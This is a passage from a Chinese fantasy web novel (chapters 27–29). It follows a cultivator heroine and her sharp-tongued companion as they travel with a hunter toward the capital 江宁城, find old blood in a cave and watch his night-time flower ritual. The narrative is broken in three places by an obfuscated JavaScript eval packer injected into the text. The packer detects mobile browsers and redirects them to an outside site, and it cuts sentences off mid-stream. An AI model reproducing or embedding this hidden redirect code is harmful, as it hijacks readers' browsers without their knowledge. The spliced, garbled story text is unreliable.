这老哥人设不是窝居无生界的死宅么,怎地似乎对人界的地点如此熟识?只是听了个地名便知晓在何处、周边为何、途径何地。想我一个行走人界五十年的,一时都说不清帝京江宁城周边都是哪几个城,他难不成在宋家的时候便弄了大乘朝的版图背了下来? 然而经方才这一出躲躲闪闪,她现下只恨不得把全身埋进仙愿榜里去,哪还好平淡无奇地问出口啊,只得将困惑往肚子里咽了下去。 另一边,对殷烬翎七七八八的小心思一无所觉的叶南扶接着道:“帝京江宁城距江南城不远,帝京的南面是一大片绵延近百里的山林,便是我们如今所在之处。” “嗯?这里?”殷烬翎把头从金布帛上探出来,看看脚下,又仰头环视了一圈周遭隐匿在夜幕下的树林。 叶南扶点头:“不错,这片山林最北端便通向帝京城门外。” 殷烬翎心中嚎叫:怎么好像我才是那个被从无生界抓来的倒霉死宅啊!我不是都行走人间五十年了,为什么跟路痴似的什么也不知道啊?可是你明明都没来过人间,为什么这么熟练啊? 这厢叶南扶估摸着穿过山林还需再打扰肖睿三五日,便转首看向许久没有发话的肖睿,却见肖睿默然坐在身旁,低着头,神色隐没在火堆下的光影中,显得晦暗不明。 本欲开口说明一二的叶南扶敏锐地觉察了这诡妙的氛围,将将脱口的字音被及时关在了喉咙里。他一低头,乍然窥见了面前人紧攥着微微颤动的右手。 眸光在这手上转圜了一圈,便不着痕迹地敛了回去,叶南扶幽邃清冷的黑瞳里倒影出火堆上跳动的星子,宛如荒野深山中诡异难测、如影跗骨的鬼火。他默不作声地转回原位,仿佛什么都未曾发生。 此时殷烬翎总算从怀疑人生中摆脱出来,又扫了几遍仙愿榜上写的事项,尔后将布帛一合,金光一散便收拢到袖中。 “肖兄?”殷烬翎出言道。 她坐得稍远些,隔着火堆看不真切肖睿这边的情况。 肖睿愣了愣神,蓦地抬起头来:“何事?” “我们随后要去帝京接手这个榜首任务,不知肖兄是否知晓,能方便快捷地穿过这片山林的途径?” 肖睿颔首:“有的,我家便住在这林子最北端,二位跟着我来便是了。” 闻言,叶南扶挑眉略带讶异地瞧了他一眼,却并未出言应答。 “那我们便要再叨扰肖兄几日了。” “不妨事不妨事。在下一向对仙家甚是景仰,能与仙门中人结交本就是在下之幸,何况殷姑娘还是出自仙道七门中声名斐然的陀螺门。” 所以说这个破门派真的很有名气吗?我怎么觉得你他娘的在骗我?而且说着对仙家非常景仰,可你明明连天璇门的名字都念不对!甚至没有一个字念对的啊! “不过……”殷烬翎忽然皱眉,“这次的任务倒是略微有些奇怪……” “怎么?”叶南扶随口接话。 “这任务详情最底下用相当醒目的字写着,‘请诸位仙家务必在九月初三前到达江宁,如若误期,则征召作废,望周知’。一般因着对仙家的尊敬,在仙愿榜发布任务的人往往都不会添上时限,即便情况紧急也仅仅添上紧急便罢,抑或私下礼貌地询问仙家何时方便前往,我以往接的任务少说也有百余件,却从未见过如此严恪地要求时间的。” 叶南扶打了个哈欠:“大概是因为你没见过世面吧。” 殷烬翎闻言顿时跳脚:“你这嘴有一刻闲着不损我就不舒服是嘛?” “这不是你觉得迷惑我才来解答一二嘛。”叶南扶拿两边拳头撑着两颊,懒懒散散道,“你不是以往从来不曾抢到过榜首心愿嘛,所以没见识过有钱人家的怪脾性,人家赏金给得这么高,可不是让你这么舒舒坦坦就能拿到的。” “有钱了不起啊?”来自殷穷鬼的悲号。 “抱歉,有钱,就是可以为所欲为。” - 这一晚的殷烬翎,果不其然兴奋得彻夜难眠。 尽管对于她这种一旦沾上枕头几息之间,就能跟周公一起吃个宵夜的人来说,失眠是件极其罕见且相当不可思议的事,在过往的二百二十二年里,躺到床上一刻钟后还醒着的次数,一个手都数的过来,当然缩在被窝里点个灯看画本的时候除外。不过即便如此,她也尝过无数次困到被画本砸脸的滋味。 因此当她在堪堪充作被单铺盖的简陋粗麻布上,翻滚了约莫有两刻钟的功夫之后,立马便意识到自己失眠了,不过她今日心情极佳,失不失眠也无甚大碍。 她轻轻扯了扯不像样的被子,从包得严严实实的铺盖里露出一只眼睛来,瞳仁溜溜地打了个转,往四面都瞅了两瞅。 火堆还烧得旺,不时有柴木“噼啪”作响。 原本这般露宿山野是需有人看着火守夜的,然而肖睿直道无妨,此处入山林尚浅,平日里也仅能见到兔子山鸡这等小禽小兽,连稍大一些的山猫都见不到,况且几人又非等闲之辈,若果真有情况,反应想必也是相当灵敏的。 殷烬翎心说不不,你太抬举我了,我睡过去便是天塌了地掀了也一无所觉。 总之三人姑且是都睡下了。 她看向越过火堆的另一边,叶南扶整个人埋在温暖的雪绒被里蜷成一团,被子的隆起处平稳节律地上下起伏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殷烬翎也不知自己出于什么心思,急忙闭上眼,作先前安睡状。 只觉面前光影一动,似是掠过去一个人影,却未闻及任何脚步声。她并不贸然睁开,又静待了片刻,才将眼睛微微睁开一条缝,望向肖睿的铺盖那侧,被子还整齐铺在原处,却瘪了下去,果然已经空了。 她轻轻动了动裹在被子底下的手,捏了个幻术诀隐了身形,又掐了个匿去声响的术法,便掀了盖的麻布,依着先前闭目时感觉到的风向,朝着肖睿离开的方位跟去。 深秋夜的风在林木间隙流窜扫动,数千落叶盘旋起舞扑簌落地,枝条扭曲着抽动沙沙作响。 篝火仍在跳动,星星点点火光依然在不断迸溅,通红的木炭“噼啪”声不绝入耳。 软和的雪绒被微微一松,叶南扶从被子里探出一只手,拇指关节抵在了太阳穴上,用力揉了揉,仍觉不够,再度重重按了两下。 是的,他又双叒叕失眠了。 自从来往生界就没安安稳稳地睡过一觉,今天因为抢那劳什子任务总算找回了点以往熬夜的感觉,稍稍来了点困意,估摸着安安静静躺上一会儿就能睡着了,结果这一个两个都偷溜出去,直接搅得他那点睡意都跟着离家出走了。 叶南扶长长地叹了口气。 这些人,大半夜的不睡,折腾个什么劲儿呢? 27. 第 27 章 肖睿走得并不快,所以殷烬翎没走多久便追上了。 他离开篝火那儿约莫一炷香的路程就开始放慢了步子,不时走走停停,仰着头四下张望,还会俯下来在灌木和低矮的草堆中打量许久,像是在寻什么东西。 殷烬翎始终不声不响地缀在后头。 其实与肖睿不过是萍水相逢,且至多再相处三五日便要分道扬镳,他想做什么原也与她毫无干系,虽然夜间避人耳目地独自出来有些可疑,但毕竟与之相识才不过一日,除了他对兔子可能有些危险的想法之外,对于其他方面她什么也不了解,指不准人家就有夜间出来狩猎的喜好呢?何况他特地等到二人都“睡熟”后再出来,必然是不想让他们瞧见。 故而殷烬翎看似表面上不动声色地紧跟着,实际内心还是存了些窥探他人隐私的心理负担。 想着“反正都兴奋得睡不着横竖也没事干”以及“出都出来了现在走回去也太蠢了吧”,殷烬翎勉强压下心中仅存的那点翻腾作怪的节操,默默地跟了一路。 在行了不知多少里之后,肖睿终于在一片花丛边上彻底停下了脚步,弯腰下去仔细审视了良久。 殷烬翎忍不住从树后探出头来,伸长脖子想看个清楚。 虽说捏了隐形诀,但是那些画本子里,跟踪什么的不就是要躲躲藏藏才有实感嘛,仗着别人瞧不见明目张胆地走在旁边那还称得上跟踪嘛?嗯……怎么感觉这说的像个有特殊癖好的跟踪狂似的? 那边的肖睿已经伸出手去,摘下了一大朵白色的花。 四周树木繁盛,横柯上蔽,月光只在些许叶缝中才能播下黯淡的微芒,因而殷烬翎看得不大真切。 她正欲细瞧,眼盯着那花丛,脚下不由走了一步,却蓦地踩到了什么东西。 她低头一看,却是一只脚,穿着有些莫名眼熟的黑色靴子。 随即耳畔近在咫尺处响起一个清朗却似乎咬牙切齿的男声,压着嗓子低声道:“你踩着我了!” 一听这声音,殷烬翎脑中刹时一片空白,呆愣了半晌,才缓慢地提起脚一点一点挪开,尔后神色复杂地仰起头看向身边的叶南扶,手底下却不忘捏个诀弄了结界将这一小方空间与外界隔开。 “你这是什么表情,便秘了吗?” 殷烬翎抬起一条腿,跨出老远:“不知道说什么好,给您劈个叉吧。” “……” 气氛一度尴尬异常。 良久良久,见叶南扶始终没有开口解释来清剿这尴尬氛围的打算,殷烬翎不得不硬着头皮问:“老哥……你怎么醒了?” 叶南扶挑眉:“你们俩大半夜避人耳目地前后脚出去,跟有奸情似的,我能不出来撞破一下吗?” “你这说的,活像个妻子多看人一眼就觉得她出轨了,然后成日疑神疑鬼想着捉奸的丈夫。” 出乎意料的,叶南扶没有再接话继续损她,而是默了片刻。就在殷烬翎颇觉纳罕投来疑惑的目光时,他又忽然道:“那你呢,你怎么醒了?” “这不是发了一笔横财嘛,压根就没睡着。”殷烬翎想起这事就忍不住“嘿嘿”直笑。 叶南扶瞥了眼她这如同小人得志的嘴脸:“没想到你还会做预知梦。” 这破玩意儿,又翻出之前她做发财梦的事来讽刺她,这明明都是上一卷的事了好嘛!做人能不能向前看啊! 不过此番殷烬翎心情大好,并不打算理会他的嘲讽,转而问起别的:“你跟了多久了?” “不久,刚到。” “您逗我呢?刚到是怎么知道我们往哪个方位走的?又没有灵力追踪。” 他忽然笑了笑:“夜里刮过一阵风,新枯的枝叶落下不少。” 殷烬翎低头看向自己脚下,踩着几片七零八裂的枯黄干叶。 因着施了术法匿了声形,她行走时并未多留心脚下,想来这一路上怕是有许多被她踩碎的枯枝败叶。况且肖睿常常驻足停留,她便也会藏在树后抓着耳蹬着腿无所事事地等上好久,那脚底下的叶怕是都给她踏烂了。所以他便循着这些细微痕迹找来,他们走得慢,故而在此处被叶南扶追上了。 思及此,她忍不住抬眸又瞄了叶南扶几眼。说起来这老哥虽则平日里散漫不经,倒不得不承认他确实有几分本事。 她正思量着,却听叶南扶问道:“所以呢,你跟了一路都瞧见了什么?” “我这不是正看到关键嘛,谁知你突然冒出来……”说到此处,殷烬翎忽然一拍脑袋,“坏了!” 她连忙转头朝肖睿原先所在处看去,人已经不见了,四下一望也瞧不见半个人影。 光顾着跟老哥扯皮忘了这事儿了。殷烬翎心中懊恼,挥手撤了结界,抬步便要过去用同样的法子看看痕迹推测走的方向。 “他回去了。”叶南扶道。 殷烬翎抬起的脚急转了个弯放回来:“你怎么知道?” “跟你说话之时,我一直拿余光关注着那边,他径直往回走了。” 闻言,殷烬翎稍稍舒了口气,还没等这口气吐完,又猛地一顿,反倒更慌张了。 “那他回去,等着他的不是三个空被窝嘛?” 她连忙一把拉过叶南扶的袖子,顺势挽住他的手臂,手底飞速变幻,足下生风,几个眨眼间便疾速穿梭在树梢缝隙中,耳旁呼呼生风,四边景物在急急倒退而去。 要抢在肖睿前头赶回去,只得用了瞬行术。 她偷眼瞄了下叶南扶,后者正安安静静地任由她挽着,浑不在意地眺望着远处的林木,全然没有不通术法的普通人搭乘瞬行术时的忙乱无措。正是他这模样,令她常常忘记他没有灵力的事实。不过这也难怪…… 她想起自己先前跟着肖睿的时候分明是用着隐形诀的,可叶南扶一来,却准确无误地发现了她。 这么一想,她又记起一桩事来,在江南城郊的荒山古墓入口,她开了仙目也看不透的幻术阵,叶南扶却视若无物,那又是怎么回事? 她又忍不住偷睨了两眼叶南扶清亮的黑瞳,心下思忖着莫非是那种什么天生神目可看穿世间一切幻术的设定? “你这都偷看了几回了?”叶南扶煞有介事地眯起眼。 殷烬翎顿时不知是该解释自己没偷看,还是嘲讽他自恋过头了,一时竟有种槽点太多不知如何下口的莫名憋屈感。 几里路,瞬行术顷刻便到,肖睿显然被远远甩在了后面,两人便躺回被子里,睡如前状。 静待了许久,肖睿悄无声息地回来了,似乎并未察觉两人有何异状,轻轻掀开被子,兀自睡了回去。 尔后,各怀鬼胎的三人一夜无眠。 准确来说也没有一夜,因为熬到半夜抢榜首心愿,睡下时便已晚了,又相继溜出去折腾了这么一遭,躺回来便已然五更天了,再稍撑个一时三刻,东边就大亮了。 听见肖睿那边窸窸窣窣地起来了,殷烬翎干脆也不再佯睡,起身将破麻布被子胡乱团成一卷塞进袖里乾坤,又去了不远处一条山涧边上洗漱,回来时见肖睿已在拾掇昨日剩下的猎物了,而叶南扶…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863870|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还蜷着没动过。 殷烬翎心道您这一直醒着装模作样的何必呢。遂过去坐到他边上,推推缩着的一团,道:“老哥,您这露宿荒野还赖床呢?” 裹着被子的团子纹丝不动,只听他冷冷道:“因为我是死宅,死宅就是要赖床。” “……” - 好容易叫起了叶南扶,待到收拾完毕出发,已然日上三竿。 肖睿去了趟先前暂存猎物的地方,背着足有一箩筐活蹦乱跳的山鸡野鸟,他小心地将那只被他薅得瑟瑟发抖野兔子也放了进去,生动具体地再现了鸡兔同笼的奇观。 三人一路往北而去,途中偶有瞎聊几句,如此行了整整一日,期间除了午时蹭着吃了点肖睿带的干粮,便再没休息过。 到了傍晚时分,由于一夜没睡,此时疲惫得像条死狗的殷烬翎脑子里乱糟糟的,她觉着自己大小也是个仙门中人,是御剑载不动还是瞬行术不好用了,作甚非要同这两个不会术法的人一步一个脚印地走过去?人家雇主是会因为她的诚心感激涕零再涨一波酬金还是怎么的? 眼瞅着日头贴上了远处群山的边沿,肖睿领着二人到了一处地方,他弯腰扒开两边的草木,又推开堵着的石头,露出一个黢黑的洞口来。 弯腰进到山洞里,豁然开朗,这内里居然很是空阔,横径足有一人长,且洞穴颇深,聊可充作一间平房。更奇的是,地上还摆着诸如绳索、短匕首之类的器具,甚至还搭了个火坑,里头尚有几根受了潮的木炭。 “这是我先前来时暂住之处,便在这将就一晚吧。”肖睿解释道。 头上有个遮盖,好歹是不用淋露水了。经过昨夜露宿的兵荒马乱,殷烬翎不由知足乐天起来。 她转首去看叶南扶,后者早已席地坐下,背靠山壁闭目养神起来,竟甚是惬意自在。转而细细一想,他今日一路上似乎少见的安静,也未有出言讽刺她。 哇,这是什么鸡汤文剧情?平日里家境优渥骄纵毒舌的阿宅,经历过荒郊野外一日一夜的艰苦生活后,竟变得平易近人了许多? “小麻雀,快去衔点树枝来给咱巢穴添砖加瓦。”叶南扶拿脚尖踢踢跟前的火坑。 平易近人个鬼!这个人就不能稍微多忍一会再破功嘛! 即便内里腹诽不断,殷烬翎仍是黑着脸出去找木柴了。 不然还能怎么办,总不能指望这个瘫在那儿跟把散架的骨头没什么两样的人,自己拼接起来出去干活吧。 她拾了些干枯的树枝,抱回到山洞里。 肖睿不在,估摸着是去找溪涧处理野味了。 至于老哥,难得没原样瘫着,正独自一人缩在山洞深处,不知在捣鼓什么。 殷烬翎只瞥了他两眼,没理睬,径直将木柴堆到火坑里,也不捡留在坑边的打火石,抬手打出一道火符,轰的一声便引燃了柴堆。 巨大的声响引来了叶南扶的侧目,见他朝这望过来,殷烬翎顺势对上他目光,凶狠而又挑衅地瞪了他一眼,谁知他好似浑然不觉,眼瞳往边上动了动,像是在示意她过来。 她心下颇为疑惑,皱着眉走了过去,在他身旁蹲下来。 洞深处漆黑异常,只能循着外头微弱的光摸索。叶南扶靠坐在石壁旁,身前摆着一个不大不小的坛子,坛子外表和周边石壁上依稀有些斑斑驳驳的痕迹。 殷烬翎眯着眼看了会,从袖里乾坤中掏出盏灯来,一照之下,她不禁愣住了,脊背一阵发寒。 那斑驳的印痕,竟全是陈旧的血迹! 28. 第 28 章 地上、洞壁上、坛子上尽是干涸后附着的暗红血液,或是流淌状、或是飞溅状、或是拖拽状,其量多得惊人,少说也有两人份,宛如惨烈惊骇的刑场。 那坛子是陶制的,盖得相当严实,相比之下其外壁上的血迹少且淡,像是被清洗过,但洗得不大仔细,还残留着些许固结的印子。 殷烬翎举高灯盏,正欲瞧瞧附近石壁上是否也有,冷不防被横里伸来的一只手夺走了油灯。 她偏头看过去,叶南扶已经将灯藏到了袖中,屈起手指抵在唇上,做了个噤声的手势。 她一愣,顿住身形,只听见外头有轻微的脚步声由远及近,她瞬间反应过来,看了眼叶南扶,见他冲火坑那侧使了个眼色,当即心领神会,迅速坐回了火堆边上。 肖睿弯腰从洞口进来,手上提着两只料理好的山鸡,见烧好了火,便也坐过来,扒了根细长的枝条将山鸡穿起来。 叶南扶慢吞吞地站起来,也坐到了火堆边上来。 “肖兄,你这打猎走得也未免有些远了吧?”叶南扶状似无意地问,“我们昨儿碰见你那处,离你家得有个三四日路程吧?” 肖睿正顶着树枝往山鸡上串的手肉眼可见地顿了一下,随即尴尬地笑:“是远了些……” 他似乎不大想说下去,奈何叶南扶投来问询的眼神,肖睿有些顶不住,又道:“就……偶尔想走得远些看看。” “肖兄原先是打算在那儿待几日吗,我们到来可有打乱你计划?” “不妨事,我就出来转转,到那儿便折返,统拢离家也就七八日。” “这么多天,家里的兔子没关系吗?” “那倒不打紧,圈着它们的那块地,草本身就长得多,何况我走之前还放了不少草料。” 两人有一搭没一搭地聊着,殷烬翎听着听着便略微走神。 她忽然有些愧疚。与肖睿相识才不到两日,他又是分享食物又是寻找住处,拾柴生火、处理食材、行路向导,他无一不揽,且极尽用心,甚至还帮着抢了榜首心愿,于她有不小的恩惠。 可她呢,夜半跟踪、窥伺住处,即便他真有什么不为人知的秘事,那又与她有何干系? 她心中懊丧,越想越觉得对不住肖睿,正胡思乱想着,耳边刮过轻飘飘一句话,却不啻于一个惊雷骤然炸响。 “话说肖兄,那边那许多血是怎么回事啊?” “喂……”殷烬翎惊起,急忙去拉叶南扶,恨不得拿手捂上他的嘴。 “哦,我在那儿杀了只麂子。”肖睿随口道。 殷烬翎:?? “对了,我那坛子里还腌了点麂子肉。” 就这??? 不是,这是什么画风突变的神展开啊?知道我刚刚看到那些血迹的时候脑补了多少断肢残骸血肉横飞的画面嘛?怎么突然就跟那些因为作者江郎才尽了草草烂尾的探案画本一样?你要现在跟我说你昨天半夜是出去赏花的我都能信哦! 殷烬翎被这急转直下的剧情发展给闪了腰,有点懵圈地盯了自己手里拽着的宽袖一会儿,顺着衣袖抬起头来看叶南扶,接着便捕捉到了他眼眸里盛着的笑意。 殷烬翎将手中袖子狠狠一甩,胸中很是有些恼火。 看起来这个混球老哥显然早就察觉那并非人血了,还故作煞有介事的模样来吓我,真的是无语,怎么会有这么无聊的人啊? 她一眼都不想再看见这个人,兀自闷头烤了会山鸡,捏着树枝把鸡翻过来覆过去地折腾,烦躁地拿脚尖一下下点着地,却突然在某个瞬间顿住了。 ——她想起一件事来。 方才她提着灯摸过,石壁上的血已经完全干涸,甚至都有些渗透进石缝里,与之融为一体,摸来全无黏腻的手感,颜色深得几近发黑。还有最关键的一点,血腥味相当淡了,以至于当时她掌了灯才发觉石壁上都是血。这大片血留在这里少说也有个七八日,甚至考虑到洞口堵着石头,通风不佳,这个时间大抵还得要十日往上走。 而依肖睿所言,这是他先前来时暂住过的地方,且并未多做停留,此处距初遇肖睿那儿约有一日路程,因此他杀麂子大约只在两三日前。 老哥应该是看出来这皆非人血,且肖睿方才回答的反应也不似作伪,何况还有那一坛子腌肉为证,只消掀开来看看便知,他犯不着在这里说谎。 那么只有一种解释,肖睿确然在此杀了一只猎来的麂子,但不是在两日前这次,而是他上一回,至少十多日前来的时候。 那么问题来了,他为何会来?要知道,此处离山林最北端的肖睿家尚有三日左右路程,可称得上很远了,留下腌肉坛子显然说明他短期内还会再来。但这些其实并不打紧,他若爱来回奔波也没什么,只是…… 他这样爱闲扯乱侃的人,却全然未提先前来过,并且在叶南扶问起“为何走这么远”之时言辞含糊。 “就……偶尔想走得远些看看。”他是这么说的。 果真如此吗? 她侧目看向叶南扶,他闲谈之际也正好望过来,清亮幽邃的黑眸冲她眨了眨,令她不由微微愣神。 老哥大抵在摸到血迹的时候便察觉了疑点,于是才有了后来的表面闲聊实则套话,当然也是想说给我听的,现下他知道我大约已想通此中关节。 但是…… 殷烬翎移开视线,不再理会他,自顾垂下头沉默不语。 有疑点又如何?肖睿他半夜出去只折了朵花又不是折了个人命,是杀了只麂子又不是杀了个人,那又管他何时来的、何时杀的作甚?管他几日内奔波来去作甚? 这人间诸事可太多了,若见了什么事都想着掺和一脚,那可活得太累了。没必要,真没必要,只负责好雇主委托的事便行了,做人佛一点不好嘛? 这也是殷烬翎行走人间五十年来一直深谙的道理。 打定主意不再掺和此事的殷烬翎舒了口气,也加入到了闲扯的战局,将话题逐渐带离万里远,从两千年前天降瘟灾时的诗作风格赏析,聊到魔界的权力结构是不是按闹分配。 期间叶南扶向她看来过一次,她恍若不觉,目不斜视。 接下来的两日一直在跋山涉水中度过,夜里便在肖睿先前歇过的地方勉强过一晚。 到了第三日的日落前,三人终于望见了一个位于山谷中的小屋,屋前圈着一大片半人高的篱笆,篱笆上爬满了细密的青绿色枝条,上边还稀稀拉拉开着几朵未败的牵牛花,粗略一望,便能瞧见里头围了大大小小约有几十只的兔子,灰的白的花的,什么色儿都有。 “叶兄叶兄,快来!” 肖睿见了兔子,顿时跟饿了三日三夜的人骤然开了荤一般,急吼吼地拉着叶南扶就凑上去,一栏的兔子惨遭两个毛绒爱好者蹂躏。 “兔兔们,有没有想我啊?” 殷烬翎对薅兔子没什么想法,吃倒还在行,不过显然肖睿不可能让她有机会展示一下这个才艺。 她百无聊赖地打量起周边景物来。此山谷群山环抱,层峦叠嶂,郁郁苍苍,其高处深入云端,只东北侧是一较低矮的山坡。按方位来说,只消再翻过那山坡,穿过底下的林子,便能见到帝京江宁城的外城郭了。如此说来,上到坡顶上应该能眺望见江宁城。 殷烬翎有心想爬上山丘去瞧瞧,然而今日又赶了足足一日的路,她甚是疲累,丝毫不愿再折腾。 罢了罢了,明日再议。 殷烬翎打了个哈欠,回身看向两个还在揉兔子的变态,提着嗓子喊了声:“喂,再晚点天可就黑了!” 肖睿这才反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒舒服服地睡到夜半三更,忽然肚子一阵抽搐疼痛,醒了过来。她在床上赖了一会,实在捱不过去,只得下床来。为了不打扰到外间的两人,她没走门,而是打开了床榻边上的窗子,蹑手蹑脚地翻了出去。 她依稀记得肖睿提过一句茅房在屋后,可转了好几圈都没见到影儿,疑心是不是自己记错了,便又往别处多走了些,四下寻找,偶然间往山丘那边瞥去一眼。 此时已是下旬,如钩残月凄凄冷冷,星影斑驳摇摇欲坠,山林萧索,寂落深秋,稀稀零零的山丘之上,有个单薄身影踩着冷月清辉正往山坡上走去。 殷烬翎不由停住了步子,屏息静静注视着他一点点远去,须臾,轻轻叹了口气。 我都下定决心不再理会此事了,明明只是出来解个手,可为何一桩桩,偏要往我面前凑上来? ……而且为什么一到这时肚子就不痛了,我严重怀疑它大半夜这么搞我就是为了把我骗出来! 她苦恼地拍了拍自己额头,似是认命了,无奈地往山坡走去。 堪堪爬到半里,便已然能窥见立在顶上的颀长人影,只见他从怀里取出一大朵有些干瘪的白花,正是那夜他避开他们独自走了数里路去采来的。 他仰头眺了会远处,接着开始摘那花的花瓣,花瓣纤长细软且多,如同柔嫩的白色丝绦,一片片飘散在深秋夜半的风露中。 花瓣一点又一点,渐渐少下去,最后只留下一个光秃秃的花杆子,他将花杆子也一抛,终于什么也不剩了。 此时忽有一声钟鸣破开氤氲雾露而来,捣散冷月,抖落星辰,惊起半山寒鸦。自山下方的江宁城,弥开千里云烟。 钟声紧接不断,连鸣四十九下。 肖睿一直立在那儿没走,直到钟声结束,山间一切又恢复寂静,寒鸦再度栖回枝头。 他又静待了半晌,尔后转身下坡。 殷烬翎见状忙又往里藏了藏。 他走得很果决,目不斜视,脚下也未有半分犹豫,不消片刻,那劲瘦的身影便再望不见了。 殷烬翎这才从树丛里出来,望望山陵上方肖睿先前站立之处,足下踯躅了片刻。 此时一阵山岚拂过耳畔,一片带露的白色残瓣沾在了肩头,她抬手摘下来,托在掌心里。 少顷,她收拢手掌,再不迟疑,转身下了山。 一路走着,轻轻将微湿的花瓣放到了袖中。 29. 第 29 章 在肖睿家停留数日后,九月初一,殷烬翎起了个大早,一改先前不大在意外表的模样,难得精心洗漱了一番,甚至还稍稍装扮了几分,拾掇好东西,并将明明没睡着却还是赖在床上的叶南扶一把扯了起来。 “肖兄,你近期可会出远门?” 肖睿挠头:“应当不会,殷姑娘江宁那边事毕,可是要再来坐坐?” “得空的话,会再来的。”殷烬翎向肖睿缓缓施礼道别,“多谢肖兄这几日的招待,那么就此别过,后会有期。” 肖睿也恭恭敬敬地还礼:“殷姑娘,叶兄,万望珍重。” 叶南扶还垂着眼帘懒懒地倚在一棵树边上,勉强抬了抬头:“保重。” 殷烬翎在人世间已然漂泊了五十年,见惯了分分合合,别离时自然不会凄凄切切,与肖睿简短地道别后,便拽着叶南扶走了。 “怎么走?”叶南扶打了个哈欠,揉着眼,拖着脚步慢吞吞地走。 此时二人已然登上了位于肖睿小屋东北侧的那个山丘顶端,远远能眺望见一条蜿蜒绵长的窄窄河道,宛如银蛇盘绕,河对岸是段高耸入云的灰冷城墙,正是江宁城外郭。 殷烬翎捏了个剑诀,袖里便飞出一柄长剑来,她拿脚尖点了点剑身,冲叶南扶道:“这么走。” 叶南扶露出点稀奇的神色来。 “嗯?过了那么多天,你总算想起来你还会御剑了吗?” 殷烬翎:“……” 殷烬翎:“忍到现在才来吐槽我可真是难为你了……” “还好还好。”叶南扶竟很是受用,“我总要学着提升自己,避免低级趣味,不能像你似的,见了什么都要吐槽两句。” “……”殷烬翎咬咬牙,“我们这可还没飞呢,不考虑一下惹着我的后果?老哥莫非想独自翻山越岭过去?” 此言一出,叶南扶沉默下来。 殷烬翎难得在两人的日常嘴炮互怼中占据了上风,有些洋洋得意起来。 然而还没等她得意片刻,叶南扶忽然挑眉看她,正色道:“并无不可。” ??这老哥的人设不是懒得不肯多动半步嘛?怎么这会儿为了在互损中不被压一头,居然愿意多翻半座山、穿一大片林子? 谁知没等她疑惑完,叶南扶掉头就往坡下走。 “那我去肖兄家待着,等你那边完事了回来寻我,我便再叨扰他几日。” ……还有这种操作? 殷烬翎呆愣当场,一时竟忘了去拦着,待她清醒过来,忙快跑几步去追叶南扶之时,他已然走出老远。 她有些不甘地跺了跺脚,回身踩在了长剑上,飞至叶南扶身旁,手上灵光闪现,一把拽起他放到了剑身上。 “我在那边做牛做马,你在肖睿家骗吃骗喝,想得未免太美了!”殷烬翎从牙缝里往外蹦字,“再说了,方才都告了别,这会回去接着住,你不觉得尴尬嘛?” “不会啊,他都不介意。”叶南扶侧坐在剑身上,两腿垂在空中晃荡,“所以呢,你怎的今日记起来自己还会御剑了?” 殷烬翎静默了须臾,撤出一只手,从袖中摸出一卷金布帛,往身后递来。 “自己瞧吧。” 叶南扶伸手接过来,展开一瞧,只见上书几个大字“再瞎买东西就剁手”,底下是鲜红刺目的十来个“剁剁剁剁剁剁”。 前边原本好好御剑的殷烬翎此时似乎突然意识到了什么,连声咳了一阵,剑随之歪歪斜斜了几下。 “你、你碰一下……” 支吾含混的低语传来,叶南扶轻笑一声,令殷烬翎的背影又心虚地瑟缩了下,随即他指尖在悚然可怖的一排“剁”字上摩挲了一下,布帛上光晕乍变,显出全然不同的文字来。 当前心愿进展:前往江宁城途中。 务必留意,请诸位仙家在九月初三前到达江宁,如若误期,则征召作废,切记切记。 附,江宁城入关文书,由委托者提供,起讫时日:天佑十二年九月初一始。 叶南扶微微皱眉:“文牒九月初一始,又要九月初三以前全数赶到,即是说,留给众仙家进城的时日,仅有短短两日。” “你也觉得不寻常吧。”殷烬翎道,“不过暂且不论这个,你现下可明白我这几日为何不直接御剑飞去江宁城了吧?即便到了我们也进不了城,依旧只能露宿城外。” “道理我懂,但你最初为何不直接带着我们飞去肖兄家,而要辛苦跋涉、风餐露宿好几日?” 殷烬翎一时有些语塞,默了半晌才道:“你又不是不知道……还问我。” 叶南扶合上布帛,慢慢吐字:“的确。” 当然是因为初遇肖睿那夜他的可疑举动,想着一路上能再多留心些。叶南扶自然是清楚她的意图才会不声不响也不拆穿,随之一道跋山涉水了好几日,否则以他素来“能坐便绝不站着,能躺就绝不坐着”的秉性,早该在第一日便提议御剑了。 此处重提这茬,自然是在嘲讽她先前怀疑到一半,突然半途而废再不探究之事。殷烬翎心里跟明镜儿似的,这人从认识到现在就没有一刻不在损她的。 “我不想疑他是真。”她开口,“但我从未说过再不探究。” “哦?这么说你临别时同他道的‘得空会再来’是这个意思?” “这倒也不是……” 殷烬翎似有些犹豫,叶南扶静静等着她的下文。 “就……想把这次得来的赏金,分他一半,毕竟、毕竟是他替我抢到的……” 叶南扶忽然把脚一搁,跷起二郎腿,手肘撑着腿,拳背抵在颊边,转首将视线抛向远处群山。 “同我解释什么。酬金是你赚的,榜首是他抢的,如何瓜分当与我半分关系也无。” 气氛倏忽间有些微妙的僵硬,为了防止冷场,以免尴尬症复发,殷烬翎只得冥思苦想,憋了半天憋出一句:“有一说一,确实。” - 在离外郭半里远处落了飞剑,两人步至城门口,将早早拿在手里的仙愿榜上的通关文书,交与守城卫兵看过,便被放了行,接着又如法炮制过了内城墙,这才算是进了内城。 江宁城是大乘皇朝 